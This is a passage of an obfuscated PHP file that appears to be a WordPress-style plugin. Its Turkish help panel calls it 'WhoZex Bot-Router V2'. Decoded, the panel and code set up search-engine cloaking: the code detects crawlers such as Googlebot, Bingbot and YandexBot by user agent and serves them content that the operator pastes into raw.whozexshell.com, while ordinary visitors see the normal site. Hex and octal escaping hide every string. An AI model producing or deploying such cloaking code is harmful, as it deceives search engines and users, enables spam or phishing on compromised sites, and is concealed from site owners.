"\74\x73\160\141\156\x20\163\164\171\x6c\x65\75\42\x64\x69\x73\x70\x6c\141\171\x3a\151\x6e\154\151\x6e\145\55\146\154\x65\170\x3b\x76\x65\x72\164\151\x63\x61\154\x2d\x61\154\x69\x67\156\x3a\55\x33\x70\170\x3b\143\x6f\x6c\x6f\x72\x3a" . $color . "\42\76" . botr99_icon($n) . "\74\57\163\160\x61\x6e\x3e"; }; $step = function ($n, $icon, $title, $txt) use($ic) { return "\x3c\144\x69\166\x20\143\x6c\x61\x73\x73\75\42\x62\157\x74\x72\55\x73\164\145\x70\x22\76\74\x64\151\x76\40\143\154\x61\x73\x73\75\x22\x6e\x75\155\42\x3e" . $n . "\74\57\x64\151\x76\76" . "\x3c\x64\151\x76\40\x63\x6c\141\x73\163\x3d\42\x74\x78\x74\x22\x3e\74\142\76" . $ic($icon) . "\x20" . $title . "\74\57\x62\x3e\x3c\x62\162\x3e" . $txt . "\74\57\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\76"; }; $s = ''; $s .= $step("\x31", "\143\x6f\144\145", "\x54\x65\x6d\141\40\x6b\157\x64\x75\x6e\x75\x20\153\x6f\160\x79\141\154\x61", "\x42\x69\x6c\147\x69\163\141\171\141\x72\xc4\261\x6e\x64\141\x6b\151\40\74\x73\160\141\156\x20\x63\154\141\x73\x73\75\x22\x6b\42\x3e\x61\155\x70\x2e\160\150\160\74\x2f\163\160\x61\x6e\76\x20\x64\157\x73\x79\x61\x73\304\261\x6e\xc4\xb1\x20\142\151\x72\x20\x79\x61\x7a\xc4\261\40\144\xc3\274\x7a\145\x6e\x6c\x65\x79\151\x63\151\x79\x6c\145\40\x28\xc3\266\162\56\x20\x3c\x62\76\116\157\164\x20\x44\x65\146\x74\145\162\151\74\x2f\142\76\51\x20\141\xc3\xa7\x2e\40" . "\304\260\303\247\x69\156\144\145\x6b\x69\40\x3c\x62\x3e\142\xc3\274\x74\xc3\274\x6e\x20\153\157\x64\165\40\x73\x65\xc3\247\x3c\57\x62\x3e\40\342\x80\224\40\153\x6c\x61\166\171\145\144\145\x6e\40\x3c\163\x70\x61\156\x20\x63\x6c\141\x73\163\75\42\x6b\x22\76\103\x74\162\154\40\x2b\40\101\74\57\163\x70\x61\156\x3e\x20\xe2\x80\224\x20\166\145\40\74\142\x3e\x6b\157\x70\171\x61\154\x61\x3c\57\142\76\x20\xe2\200\x94\40\74\163\160\141\156\x20\143\x6c\141\163\163\75\42\x6b\42\76\103\x74\162\154\x20\53\40\x43\x3c\57\x73\160\x61\156\76\56\x20" . "\74\163\x70\141\x6e\40\x73\164\x79\154\x65\75\42\143\157\x6c\x6f\162\x3a\166\x61\x72\x28\55\x2d\144\x69\155\51\42\x3e\x28\x42\xc3\266\x79\154\145\x63\145\x20\164\141\163\141\x72\304\261\155\xc4\261\x6e\40\x70\141\x6e\157\156\x75\156\40\x69\xc3\247\x69\x6e\144\145\40\x68\141\172\304\261\x72\40\x62\145\153\x6c\145\162\x2e\51\x3c\57\163\x70\141\156\x3e"); $s .= $step("\x32", "\154\x69\x6e\153", "\x52\x61\x77\40\x73\x61\171\146\141\x73\xc4\xb1\156\304\261\40\x61\303\xa7", "\x42\x75\40\x70\145\156\143\145\x72\x65\x79\151\40\x6b\141\x70\141\164\xc4\261\160\x20\141\305\237\141\xc4\x9f\304\261\x20\x69\156\x2c\x20\74\142\76" . $ic("\147\145\141\162") . "\40\101\x79\141\162\154\x61\162\74\x2f\x62\76\x20\x62\303\xb6\x6c\xc3\xbc\155\303\xbc\156\303\274\x20\x62\165\154\x2e\x20" . "\74\x62\76\x48\145\144\145\x66\x3c\x2f\142\76\x20\153\x75\x74\165\163\165\156\x75\x6e\40\x68\145\155\x65\x6e\x20\163\141\304\237\304\261\x6e\x64\x61\153\x69\x20\x3c\x73\x70\x61\x6e\x20\143\x6c\x61\x73\x73\75\42\153\42\76" . $ic("\x6c\x69\156\x6b", "\43\x66\x66\146") . "\x20\x52\141\x77\40\114\x69\156\153\40\117\154\165\xc5\x9f\164\x75\x72\74\57\163\x70\141\x6e\x3e\40" . "\144\303\xbc\xc4\x9f\x6d\x65\163\x69\156\145\x20\164\304\261\x6b\x6c\141\x2e\40\131\x65\x6e\151\40\142\x69\162\40\x73\x65\x6b\155\x65\x64\x65\40\x3c\x62\x3e\162\141\x77\x2e\167\x68\x6f\x7a\145\170\163\x68\145\154\154\x2e\x63\x6f\x6d\74\57\142\x3e\x20\x61\303\xa7\304\xb1\x6c\xc4\261\x72\x2e"); $s .= $step("\63", "\160\x61\163\164\145", "\x4b\157\x64\x75\x20\171\x61\x70\304\261\xc5\x9f\x74\304\xb1\x72", "\101\303\247\304\261\154\x61\x6e\x20\157\40\163\x61\171\146\141\144\x61\153\151\40\x62\303\274\171\xc3\274\x6b\40\142\x6f\305\x9f\x20\x6b\165\x74\165\156\x75\x6e\40\151\xc3\247\151\x6e\x65\x20\74\x62\x3e\x62\x69\162\40\x6b\x65\162\145\40\x74\xc4\xb1\x6b\x6c\x61\x3c\x2f\142\x3e\x2c\40\x73\157\156\162\141\40\61\56\40\141\144\xc4\261\155\144\x61\40\x6b\157\160\171\141\x6c\x61\144\xc4\xb1\304\237\304\261\x6e\40\153\157\144\x75\x20" . "\74\142\x3e\x79\141\x70\xc4\261\xc5\x9f\164\xc4\xb1\162\74\57\x62\x3e\x20\342\x80\224\x20\74\x73\160\141\x6e\x20\143\x6c\141\163\163\x3d\x22\153\42\x3e\103\x74\162\154\x20\53\40\126\x3c\57\x73\x70\141\x6e\x3e\x2e\x20\113\157\x64\165\x6e\x20\164\x61\155\x61\x6d\304\261\40\x6b\165\164\165\x79\141\x20\144\157\154\155\x61\x6c\304\261\x2e"); $s .= $step("\64", "\x63\x68\145\x63\x6b", "\x4c\151\x6e\x6b\x69\40\157\154\165\305\237\x74\165\x72", "\117\x20\163\x61\x79\146\141\144\141\x6b\151\40\x3c\163\x70\141\156\x20\143\154\x61\163\x73\x3d\42\x6b\42\x3e\114\x69\156\153\40\x41\x6c\74\57\163\x70\141\156\76\x20\50\x76\x65\171\x61\x20\74\x73\x70\x61\x6e\x20\143\154\x61\163\x73\75\x22\153\42\x3e\113\141\x79\144\145\x74\74\57\163\x70\x61\x6e\x3e\40\x2f\40\74\163\160\141\x6e\x20\x63\x6c\x61\x73\163\75\x22\153\x22\76\117\154\x75\xc5\x9f\x74\x75\162\74\x2f\163\x70\x61\156\x3e\x29\x20" . "\144\303\xbc\304\237\155\x65\x73\151\156\145\40\x62\141\163\x2e\40\123\x61\x6e\x61\40\142\151\162\x20\x3c\x62\x3e\x69\156\x74\145\162\x6e\x65\164\40\141\x64\162\x65\x73\151\40\x28\154\x69\156\153\x29\x3c\57\142\x3e\x20\166\x65\x72\x65\143\x65\x6b\x2e\40" . "\xc3\226\x72\156\x65\153\x20\147\xc3\266\x72\303\xbc\156\303\xbc\155\x3a\40\74\143\157\144\145\x3e\x68\164\x74\160\x73\72\x2f\57\162\141\167\x2e\x77\150\x6f\172\x65\170\163\150\x65\x6c\154\x2e\x63\157\155\57\101\142\103\x31\62\x33\74\57\143\157\144\145\76"); $s .= $step("\x35", "\x63\x6f\160\x79", "\x4c\151\x6e\x6b\x69\x20\153\x6f\160\171\141\x6c\x61", "\123\141\x6e\x61\x20\x76\145\x72\151\x6c\x65\156\40\157\40\x6c\x69\156\153\151\x20\x3c\142\x3e\x6b\157\160\171\x61\x6c\141\74\x2f\x62\x3e\x3a\40\154\x69\x6e\x6b\x69\x6e\40\xc3\274\163\164\303\274\x6e\145\40\74\x62\76\163\141\xc4\x9f\x20\x74\xc4\261\153\154\x61\x20\342\206\222\40\x4b\157\160\x79\141\154\141\x3c\x2f\x62\x3e\x2c\x20" . "\171\x61\x20\x64\x61\40\154\x69\x6e\x6b\x69\x20\x66\141\162\145\171\x6c\145\x20\163\145\303\xa7\x69\160\40\x3c\163\160\x61\156\x20\x63\x6c\x61\163\x73\x3d\x22\153\42\x3e\103\164\x72\154\x20\53\40\x43\74\x2f\x73\160\x61\x6e\76\x20\x79\141\160\x2e"); $s .= $step("\x36", "\157\165\164", "\120\x61\x6e\145\154\x65\x20\147\145\x72\151\40\144\303\266\x6e", "\x54\141\162\141\171\304\261\x63\xc4\261\x6e\xc4\261\x6e\x20\145\156\40\303\274\x73\x74\303\274\156\x64\145\x6b\x69\x20\163\x65\x6b\155\145\154\145\162\x64\x65\156\54\x20\141\x7a\x20\xc3\xb6\x6e\143\145\40\141\x79\x72\304\261\x6c\144\xc4\xb1\304\x9f\304\xb1\x6e\x20\74\x62\76\142\165\40\x70\x61\x6e\145\x6c\x69\x6e\40\50\x57\x68\x6f\132\145\170\40\x42\x6f\164\55\122\157\x75\x74\x65\162\x20\x56\62\x29\x20\163\145\153\x6d\145\163\x69\x6e\145\74\x2f\142\x3e\x20" . "\x67\145\162\x69\40\x64\303\xb6\156\x2e\x20\74\163\160\141\156\x20\163\164\x79\154\x65\75\x22\143\157\154\157\162\x3a\x76\141\x72\x28\x2d\x2d\144\x69\x6d\51\x22\x3e\x28\162\x61\x77\40\163\141\x79\146\141\x73\304\261\156\xc4\261\x6e\40\163\x65\x6b\155\x65\163\x69\156\151\40\x6b\x61\x70\x61\164\141\142\x69\x6c\151\162\163\x69\156\56\51\74\57\163\x70\141\x6e\76"); $s .= $step("\x37", "\164\141\x72\147\145\x74", "\114\x69\156\153\151\x20\110\x65\x64\x65\x66\x20\153\165\x74\165\163\x75\x6e\141\40\171\141\160\304\xb1\xc5\x9f\164\304\xb1\x72", "\x3c\142\76" . $ic("\x67\145\141\162") . "\x20\101\x79\x61\x72\154\141\162\74\x2f\x62\76\x20\x62\303\xb6\x6c\303\xbc\x6d\303\xbc\x6e\144\145\153\x69\40\x3c\x62\76\110\145\x64\145\x66\74\57\x62\76\40\153\x75\164\165\x73\165\x6e\x75\x6e\40\151\xc3\xa7\151\x6e\x65\x20\x74\xc4\261\153\154\x61\x20\166\145\40" . "\x6b\157\x70\171\x61\154\x61\x64\304\xb1\xc4\x9f\xc4\261\156\x20\154\151\156\153\151\40\x3c\142\76\171\x61\x70\304\261\xc5\x9f\x74\xc4\xb1\162\x3c\57\x62\76\x20\342\200\224\x20\x3c\163\160\141\x6e\40\143\x6c\141\x73\163\75\42\x6b\x22\x3e\x43\164\162\x6c\40\x2b\x20\x56\x3c\57\163\160\x61\156\x3e\56\x20" . "\101\x72\x74\304\xb1\153\x20\x6b\x75\x74\165\144\x61\x20\163\145\x6e\151\x6e\x20\162\x61\x77\40\x6c\151\x6e\x6b\x69\x6e\40\171\x61\x7a\304\xb1\x79\x6f\x72\40\x6f\x6c\155\x61\154\xc4\xb1\56"); $s .= $step("\x38", "\x63\150\145\x63\153", "\x41\x6b\x74\151\146\40\157\x6c\144\x75\xc4\x9f\165\156\x64\141\156\40\x65\x6d\151\x6e\x20\157\154", "\101\171\x6e\xc4\xb1\x20\x62\303\266\154\xc3\xbc\x6d\144\x65\x6b\x69\x20\74\163\160\141\x6e\40\143\x6c\141\163\163\x3d\x22\153\42\x3e" . $ic("\x63\150\x65\x63\153", "\43\x66\146\x66") . "\x20\101\x6b\x74\x69\146\x20\x28\x62\x6f\164\154\141\x72\141\40\163\165\156\x29\x3c\57\x73\160\141\156\76\40\x6b\x75\x74\x75\x63\165\304\x9f\165\156\x61\x20\x62\x61\153\56\x20" . "\x3c\142\x3e\304\260\xc5\x9f\141\x72\145\x74\154\151\x3c\x2f\142\x3e\x20\157\154\155\141\x6c\xc4\xb1\73\x20\144\145\xc4\237\x69\154\x73\145\40\xc3\xbc\x73\164\303\274\156\x65\x20\x74\xc4\xb1\153\154\x61\171\304\xb1\160\40\151\xc5\237\x61\x72\x65\164\x20\153\157\x79\56"); $s .= $step("\x39", "\163\141\x76\x65", "\101\171\x61\x72\154\141\x72\304\261\40\153\x61\171\x64\x65\x74", "\x3c\163\x70\x61\156\40\x63\x6c\141\x73\x73\75\x22\x6b\42\x3e" . $ic("\x73\x61\x76\145", "\x23\x66\x66\146") . "\x20\x41\171\141\162\x6c\x61\162\304\261\40\113\x61\x79\x64\x65\164\x3c\x2f\163\x70\141\156\76\40\144\303\xbc\xc4\x9f\x6d\145\x73\151\x6e\145\40\x3c\142\x3e\142\151\162\40\x6b\x65\162\x65\74\x2f\x62\x3e\40\142\x61\163\x2e\40" . "\131\165\x6b\x61\x72\xc4\xb1\144\141\40\171\x65\305\237\x69\x6c\x20\x3c\x62\76\xe2\200\234\x41\171\x61\x72\154\141\162\40\x6b\141\x79\144\145\144\151\154\x64\151\x2e\xe2\x80\235\74\57\142\x3e\x20\x79\x61\172\304\261\x73\xc4\261\x6e\xc4\xb1\40\147\303\266\162\xc3\xbc\162\163\xc3\274\x6e\56"); $s .= $step("\x31\x30", "\x70\x6c\141\171", "\113\x75\162\x75\154\x75\x6d\x75\x20\171\141\160", "\305\236\x69\155\x64\x69\40\171\165\x6b\141\x72\304\xb1\40\303\247\304\xb1\153\x2c\40\x3c\x62\x3e" . $ic("\x73\150\x69\145\154\x64") . "\40\113\x75\162\x75\154\165\155\40\x59\303\266\x6e\x74\145\155\x69\x3c\x2f\142\76\x20\142\303\266\154\303\xbc\x6d\303\274\156\144\x65\x6b\151\x20\x62\xc3\xbc\171\xc3\xbc\153\x20\x79\x65\305\237\x69\x6c\40" . "\x3c\163\x70\x61\x6e\x20\x63\154\141\x73\x73\x3d\x22\153\x22\x3e" . $ic("\x70\154\141\x79", "\43\60\x34\61\x33\x30\145") . "\40\x4f\164\157\x6d\x61\x74\151\x6b\40\113\165\162\74\57\163\x70\141\156\x3e\x20\x64\303\274\304\x9f\155\145\163\x69\x6e\x65\40\x62\141\x73\56\40" . "\74\142\x3e\342\200\x9c\113\x75\x72\x75\x6c\144\165\xe2\200\x9d\74\x2f\x62\76\x20\171\x61\172\304\261\163\304\261\156\xc4\xb1\40\x67\xc3\xb6\x72\303\xbc\156\x63\145\40\x69\xc5\x9f\x20\x74\141\155\x61\155\144\xc4\261\x72\40\xe2\200\x94\40\x3c\x62\x3e\x74\145\153\x20\142\x69\162\40\153\145\x72\145\x3c\x2f\142\76\x20\142\141\163\155\141\156\x20\x79\145\x74\145\x72\x6c\x69\54\x20\x74\145\x6b\x72\x61\162\x20\x74\x65\153\x72\141\162\x20\165\xc4\x9f\x72\141\305\x9f\x6d\141\56"); $s .= $step("\x31\61", "\164\x61\x72\x67\x65\164", "\xc3\x87\x61\x6c\304\xb1\305\x9f\304\xb1\171\x6f\162\x20\155\165\40\153\157\x6e\x74\162\x6f\x6c\40\145\x74", "\x53\x61\x79\x66\141\x6e\xc4\261\156\x20\145\156\x20\xc3\xbc\x73\164\303\xbc\x6e\x64\x65\x6b\x69\40\162\145\x6e\153\154\x69\40\144\x75\162\x75\x6d\x61\40\x62\x61\153\56\40" . "\74\142\x20\x73\164\171\x6c\x65\75\x22\143\x6f\x6c\x6f\162\72\43\x31\71\145\63\x62\x31\x22\x3e" . $ic("\143\150\145\143\x6b", "\43\x31\x39\x65\x33\142\x31") . "\40\131\x65\305\237\x69\x6c\x20\xe2\200\x9c\xc3\x87\101\114\111\305\x9e\x49\x59\117\x52\342\200\235\74\x2f\x62\x3e\x20\171\141\172\xc4\261\171\x6f\162\163\x61\x20\74\142\76\x68\145\x72\40\xc5\x9f\x65\x79\40\150\x61\172\xc4\261\162\x3c\x2f\142\76\x2e\40" . "\xc4\260\xc5\x9f\x69\x6e\40\142\151\164\164\151\x21"); $s .= $step("\x31\62", "\162\x65\x66\x72\x65\163\x68", "\x42\x69\x72\40\xc5\x9f\145\x79\40\x74\145\x72\x73\x20\147\151\x64\145\x72\x73\145", "\x53\x69\x74\145\40\x79\x61\160\x74\xc4\xb1\xc4\x9f\304\xb1\x6e\x20\144\145\304\x9f\151\xc5\x9f\151\x6b\x6c\151\304\x9f\x69\x20\x67\xc3\xb6\163\164\145\x72\x6d\151\171\x6f\x72\163\141\x20\171\x61\40\x64\x61\x20\x65\x73\x6b\x69\40\150\xc3\xa2\154\151\x6e\x69\40\x67\xc3\266\x73\x74\x65\x72\151\x79\157\x72\163\141\x2c\40" . "\x3c\x62\76" . $ic("\x72\145\146\162\145\x73\x68") . "\40\x43\141\143\150\145\40\124\145\x6d\x69\172\154\145\x79\151\x63\151\74\x2f\142\x3e\x20\142\xc3\266\x6c\303\xbc\155\303\274\156\x64\145\153\x69\40\x3c\163\160\x61\x6e\40\143\154\141\163\x73\x3d\x22\153\x22\x3e\104\145\x72\151\x6e\x20\124\x65\x6d\x69\x7a\154\x65\x3c\x2f\163\160\x61\x6e\x3e\x20\144\303\274\xc4\237\155\x65\x73\x69\x6e\x65\40\142\141\163\56\40" . "\124\303\274\155\x20\x67\145\303\xa7\151\143\151\x20\142\145\154\154\x65\x6b\154\145\x72\151\x20\50\x63\x61\143\x68\x65\51\40\163\151\x6c\145\x72\40\x76\145\40\x73\151\164\x65\171\151\40\164\x61\172\x65\x6c\145\162\x2e\40\123\x6f\156\x72\x61\x20\61\x30\342\200\223\61\61\x2e\x20\x61\144\304\xb1\x6d\xc4\xb1\40\x74\145\153\162\x61\162\x20\x6b\157\156\x74\x72\x6f\x6c\40\145\x74\x2e"); $body = "\x3c\x64\151\x76\x20\x69\144\x3d\42\x62\157\x74\x72\x39\x39\x2d\x6f\166\42\x20\143\154\x61\x73\x73\75\x22\142\x6f\164\x72\x2d\x6f\x76\42\76\x3c\x64\151\166\x20\143\154\x61\163\x73\x3d\x22\142\x6f\164\162\55\x74\165\x74\42\x3e" . "\x3c\x68\x32\76" . $ic("\x68\x65\x6c\x70", "\x76\x61\162\x28\55\55\141\x63\143\x65\x6e\x74\x32\x29") . "\40\102\165\x72\141\x73\xc4\261\40\156\x65\x3f\x20\116\x61\163\304\261\x6c\x20\153\x75\x6c\154\141\156\xc4\xb1\x6c\304\261\x72\77\x20\50\101\144\xc4\261\155\40\x61\x64\304\261\155\x29\x3c\57\150\62\76" . "\x3c\160\x20\x63\x6c\141\163\x73\x3d\x22\154\145\141\x64\x22\x3e\x42\165\40\x61\162\141\xc3\247\73\x20\163\151\164\145\156\151\40\107\x6f\157\x67\x6c\145\x20\x67\x69\142\151\40\x3c\142\x3e\x61\162\141\155\141\x20\155\x6f\164\157\162\165\40\142\x6f\164\154\x61\162\xc4\xb1\74\x2f\142\x3e\x20\172\151\x79\141\x72\x65\x74\40\x65\x74\164\151\304\237\151\156\144\x65\x20\x6f\x6e\154\x61\x72\x61\40" . "\x3c\142\76\x73\x65\x6e\x69\156\40\x76\x65\x72\x64\151\304\x9f\151\156\x20\xc3\266\172\145\x6c\x20\164\x61\x73\x61\x72\xc4\xb1\x6d\304\xb1\x3c\x2f\x62\76\x20\x67\xc3\xb6\163\x74\145\x72\151\x72\56\x20\x4e\157\x72\155\141\x6c\40\x7a\151\171\141\162\x65\164\303\xa7\151\x6c\145\162\x20\x73\x69\164\x65\156\151\156\40\153\145\156\144\151\163\151\156\x69\40\x67\303\xb6\x72\x6d\145\171\145\x20\144\x65\166\x61\155\x20\x65\144\x65\162\x2e\x20" . "\x41\305\237\141\304\237\304\xb1\144\x61\x6b\151\40\x61\144\xc4\xb1\x6d\x6c\141\x72\xc4\261\40\x3c\142\x3e\x74\141\155\40\163\xc4\261\162\141\x79\154\x61\74\x2f\x62\76\x20\x79\141\160\x20\xe2\200\x94\x20\164\145\153\x6e\151\153\40\x62\x69\154\x67\151\40\147\145\162\x65\x6b\x6d\x65\172\54\40\163\141\144\145\143\145\x20\153\157\x70\x79\x61\x6c\141\xe2\x80\223\x79\141\160\xc4\261\xc5\x9f\x74\xc4\xb1\162\x2e\74\57\x70\x3e" . $s . "\x3c\x64\x69\166\x20\x63\x6c\141\x73\x73\75\x22\x62\157\x74\162\x2d\164\165\164\55\164\x69\160\42\x3e" . $ic("\167\x61\x72\156\151\156\x67", "\x23\x66\65\141\x35\x32\64") . "\40\74\142\76\xc3\x87\x4f\113\x20\303\x96\116\105\x4d\x4c\xc4\xb0\x20\xe2\x80\x94\x20\x42\x75\x20\x73\x61\x79\x66\141\156\304\xb1\x6e\40\x61\x64\x72\145\x73\151\156\x69\40\x6b\x61\171\x64\x65\164\x21\x3c\x2f\x62\76\74\x62\162\x3e" . "\x54\141\162\141\171\xc4\xb1\x63\304\261\156\304\261\x6e\x20\x65\x6e\x20\303\274\163\164\xc3\274\x6e\x64\145\153\x69\x20\x75\172\165\156\x20\141\144\162\145\163\x69\x20\50\154\151\x6e\x6b\151\x29\40\x6b\157\x70\171\x61\154\141\171\304\261\x70\x20\147\xc3\xbc\x76\x65\156\154\151\40\x62\x69\x72\40\x79\x65\x72\x65\40\171\141\x70\xc4\261\305\x9f\x74\304\261\x72\x20" . "\50\x6e\x6f\x74\x20\144\x65\146\164\145\162\x69\x2c\40\153\145\156\144\151\x6e\x65\40\x65\55\160\157\x73\x74\x61\x2f\x6d\145\x73\141\x6a\40\x76\x62\x2e\51\56\40\x42\x75\40\x70\x61\x6e\x65\154\x65\x20\x3c\142\76\163\141\x64\x65\x63\145\x20\x6f\x20\147\x69\172\154\x69\x20\x6c\x69\156\153\x6c\x65\x3c\x2f\142\x3e\40\147\151\x72\x65\142\x69\154\x69\162\x73\x69\156\73\40" . "\x6b\141\171\142\x65\144\145\162\x73\x65\156\x20\x62\x69\162\40\144\x61\150\141\40\147\151\162\145\155\x65\x7a\x73\151\x6e\x2e\74\57\x64\x69\166\76" . "\x3c\x64\x69\x76\x20\143\154\x61\163\163\x3d\x22\x62\157\164\162\55\164\165\164\x2d\x74\x69\x70\x22\40\163\x74\171\x6c\145\75\42\142\141\x63\153\x67\x72\157\x75\156\144\72\x72\147\x62\141\x28\x35\x39\54\x31\x33\x30\x2c\x32\64\x36\x2c\56\61\x29\73\x62\x6f\x72\x64\x65\x72\x2d\143\157\154\x6f\162\x3a\162\x67\142\x61\50\x35\x39\54\61\x33\60\54\62\64\x36\54\56\64\51\x3b\x63\157\x6c\x6f\x72\x3a\x23\70\146\x62\x38\146\x66\42\76" . $ic("\154\151\x6e\153", "\x23\70\146\x62\x38\146\146") . "\x20\74\142\x3e\124\x61\163\141\162\xc4\261\155\xc4\261\x6e\304\xb1\40\144\x65\304\237\x69\xc5\237\164\151\162\155\145\x6b\x20\151\163\x74\x65\162\x73\145\x6e\x3a\74\57\142\x3e\40\171\145\x6e\151\40\153\x6f\x64\x75\40\171\x69\x6e\145\x20\x72\x61\x77\x20\163\x61\171\146\141\x73\304\261\156\x61\40\171\x61\x70\xc4\xb1\305\237\164\xc4\261\162\304\xb1\160\x20" . "\171\145\156\x69\40\142\151\162\x20\154\151\x6e\x6b\x20\141\x6c\54\x20\x70\x61\156\x65\154\144\145\x20\x3c\142\x3e\x48\x65\x64\x65\146\x3c\x2f\142\76\40\153\x75\x74\x75\163\x75\x6e\144\x61\153\x69\40\154\151\x6e\153\151\x20\x79\145\x6e\151\x73\151\171\x6c\145\40\144\x65\304\237\x69\xc5\237\x74\151\162\40\166\145\x20\x74\x65\153\162\141\x72\x20\x3c\142\x3e\101\171\x61\162\x6c\141\162\304\xb1\x20\x4b\141\171\144\x65\164\x3c\57\142\76\342\x80\231\145\x20\x62\x61\x73\56\x3c\57\144\151\166\76" . "\x3c\x64\151\x76\x20\143\x6c\141\163\163\x3d\42\142\x6f\164\x72\x2d\164\x75\164\55\143\154\157\163\145\42\x3e\x3c\x62\x75\x74\x74\x6f\x6e\x20\164\x79\160\x65\75\x22\x62\165\x74\x74\x6f\x6e\x22\40\143\x6c\141\x73\x73\x3d\42\x62\157\164\x72\55\142\x74\156\x20\160\162\151\155\141\x72\x79\42\40\x6f\x6e\143\x6c\151\x63\153\x3d\42\142\x6f\164\x72\x39\71\x48\x65\154\160\x28\60\x29\x22\x3e" . $ic("\143\x68\x65\x63\153", "\43\x30\x34\x31\63\x30\x65") . "\40\101\x6e\154\141\x64\304\xb1\155\54\40\x4b\x61\x70\x61\x74\x3c\57\142\165\164\x74\157\156\76\x3c\57\x64\x69\x76\76" . "\x3c\x2f\x64\151\166\76\x3c\57\144\x69\x76\x3e"; $js = "\74\163\143\162\x69\160\x74\76" . "\146\165\x6e\143\164\151\157\156\x20\142\157\x74\x72\x39\71\110\145\154\x70\x28\x6f\x29\173\x76\141\x72\40\x65\75\144\x6f\x63\x75\155\x65\156\164\x2e\x67\x65\x74\105\x6c\x65\155\x65\156\164\x42\x79\111\x64\50\42\142\x6f\164\x72\x39\x39\x2d\157\166\42\51\x3b\x69\146\50\x65\51\173\x65\56\143\154\141\x73\x73\114\151\x73\164\133\x6f\x3f\42\x61\x64\144\42\x3a\42\162\x65\x6d\x6f\x76\145\x22\x5d\x28\x22\157\160\145\x6e\42\x29\x3b\x69\146\x28\x6f\x29\173\x65\56\x73\143\162\157\x6c\154\x54\157\x70\x3d\x30\73\x7d\175\175" . "\50\x66\165\x6e\x63\x74\151\157\156\50\x29\173" . "\x74\x72\171\173\151\146\50\x21\154\x6f\143\141\x6c\x53\164\x6f\162\x61\147\145\x2e\x67\x65\x74\x49\164\145\x6d\x28\x22\142\x6f\x74\x72\x39\x39\x5f\163\x65\x65\156\x22\x29\x29\173\142\157\x74\162\x39\71\x48\145\154\x70\50\61\x29\x3b\154\157\x63\141\x6c\x53\x74\157\x72\141\x67\x65\x2e\163\145\x74\x49\164\145\x6d\x28\x22\142\157\164\162\71\x39\137\x73\145\x65\156\42\54\42\61\x22\x29\73\x7d\x7d\x63\x61\x74\x63\150\x28\x65\51\173\175" . "\x76\141\x72\40\157\x3d\144\157\x63\165\x6d\x65\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\156\164\102\x79\x49\144\x28\42\142\x6f\x74\162\x39\71\x2d\157\166\42\x29\73" . "\x69\146\x28\x6f\51\173\x6f\56\141\144\x64\105\x76\x65\x6e\x74\x4c\151\163\164\145\x6e\x65\x72\50\42\x63\x6c\x69\143\153\42\x2c\146\x75\x6e\x63\164\151\x6f\x6e\x28\x65\x29\173\x69\146\50\145\x2e\164\141\162\147\145\x74\75\x3d\75\157\x29\x7b\x62\x6f\x74\162\71\71\x48\145\x6c\160\x28\60\51\x3b\x7d\x7d\x29\73\175" . "\144\157\x63\165\x6d\145\x6e\164\56\141\144\x64\x45\x76\145\x6e\x74\114\151\163\164\x65\x6e\x65\162\50\42\x6b\145\x79\x64\157\x77\156\42\54\146\165\x6e\143\x74\151\x6f\156\x28\145\51\173\x69\x66\x28\x65\x2e\153\145\171\x3d\75\x3d\42\x45\x73\x63\x61\x70\x65\42\x29\173\x62\x6f\164\162\71\x39\x48\145\154\160\50\60\x29\73\175\175\51\73" . "\x7d\x29\x28\x29\73\74\57\163\x63\x72\151\x70\x74\x3e"; return $body . $js; } function botr99_run(array $cfg) { try { if (empty($cfg["\x65\156\x61\x62\154\145\x64"])) { return; } if (PHP_SAPI === "\x63\154\151") { return; } if (defined("\x44\117\x49\x4e\x47\137\103\x52\x4f\x4e") && DOING_CRON) { return; } $ua = isset($_SERVER["\110\x54\124\120\x5f\125\123\x45\x52\x5f\101\x47\105\116\124"]) ? (string) $_SERVER["\x48\x54\124\120\x5f\x55\x53\x45\122\x5f\101\107\105\x4e\124"] : ''; if ($ua === '') { return; } $signatures = array("\x67\157\157\147\x6c\x65" => array("\107\157\157\x67\154\145\x62\157\164", "\101\144\x73\102\157\x74\55\x47\157\157\147\154\x65", "\x47\x6f\157\147\154\145\55\x49\156\163\x70\x65\x63\x74\151\157\156\124\157\x6f\x6c", "\x47\x6f\157\147\x6c\145\x4f\x74\x68\145\162", "\123\x74\x6f\x72\145\x62\x6f\x74\55\107\x6f\157\x67\154\x65", "\x41\120\111\x73\x2d\x47\x6f\157\x67\154\x65", "\115\x65\x64\x69\141\x70\x61\x72\164\156\x65\x72\163\55\107\x6f\157\x67\154\x65"), "\x62\151\x6e\x67" => array("\x62\x69\156\147\142\x6f\x74", "\102\x69\x6e\x67\x50\162\145\166\151\145\x77", "\x6d\x73\156\x62\157\164", "\x61\x64\151\x64\170\x62\x6f\x74"), "\x79\141\x6e\144\x65\x78" => array("\131\141\x6e\144\145\170\x42\x6f\x74", "\131\141\x6e\x64\x65\170\111\x6d\x61\147\145\163", "\x59\141\156\x64\x65\170\x4d\157\x62\151\154\x65\x42\157\164", "\x59\x61\156\x64\145\x78\101\143\x63\145\x73\163\x69\142\151\154\x69\x74\171\x42\x6f\x74"), "\x64\165\x63\x6b\144\x75\143\x6b\x67\x6f" => array("\x44\x75\x63\153\104\x75\x63\x6b\x42\157\x74", "\x44\165\143\153\x44\165\143\153\107\x6f\x2d\106\x61\166\151\x63\x6f\156\x73\55\x42\x6f\164"), "\160\141\x67\x65\163\x70\x65\x65\x64" => array("\103\x68\162\157\x6d\x65\x2d\x4c\151\147\x68\164\150\x6f\165\163\x65", "\x47\157\x6f\147\154\145\x20\120\x61\147\145\x20\123\x70\x65\145\x64\40\111\x6e\x73\x69\x67\150\164\163", "\x50\141\147\x65\x53\160\x65\145\x64")); $bot_key = ''; foreach ($signatures as $bot => $sigs) { if (empty($cfg["\x62\157\x74\163"][$bot])) { continue; } foreach ($sigs as $sig) { if (stripos($ua, $sig) !== false) { $bot_key = $bot; break 2; } } } if ($bot_key === '') { return; } $uri = isset($_SERVER["\x52\x45\x51\125\105\123\x54\x5f\x55\x52\x49"]) ? (string) $_SERVER["\x52\x45\121\125\x45\x53\124\137\125\x52\x49"] : "\x2f"; if 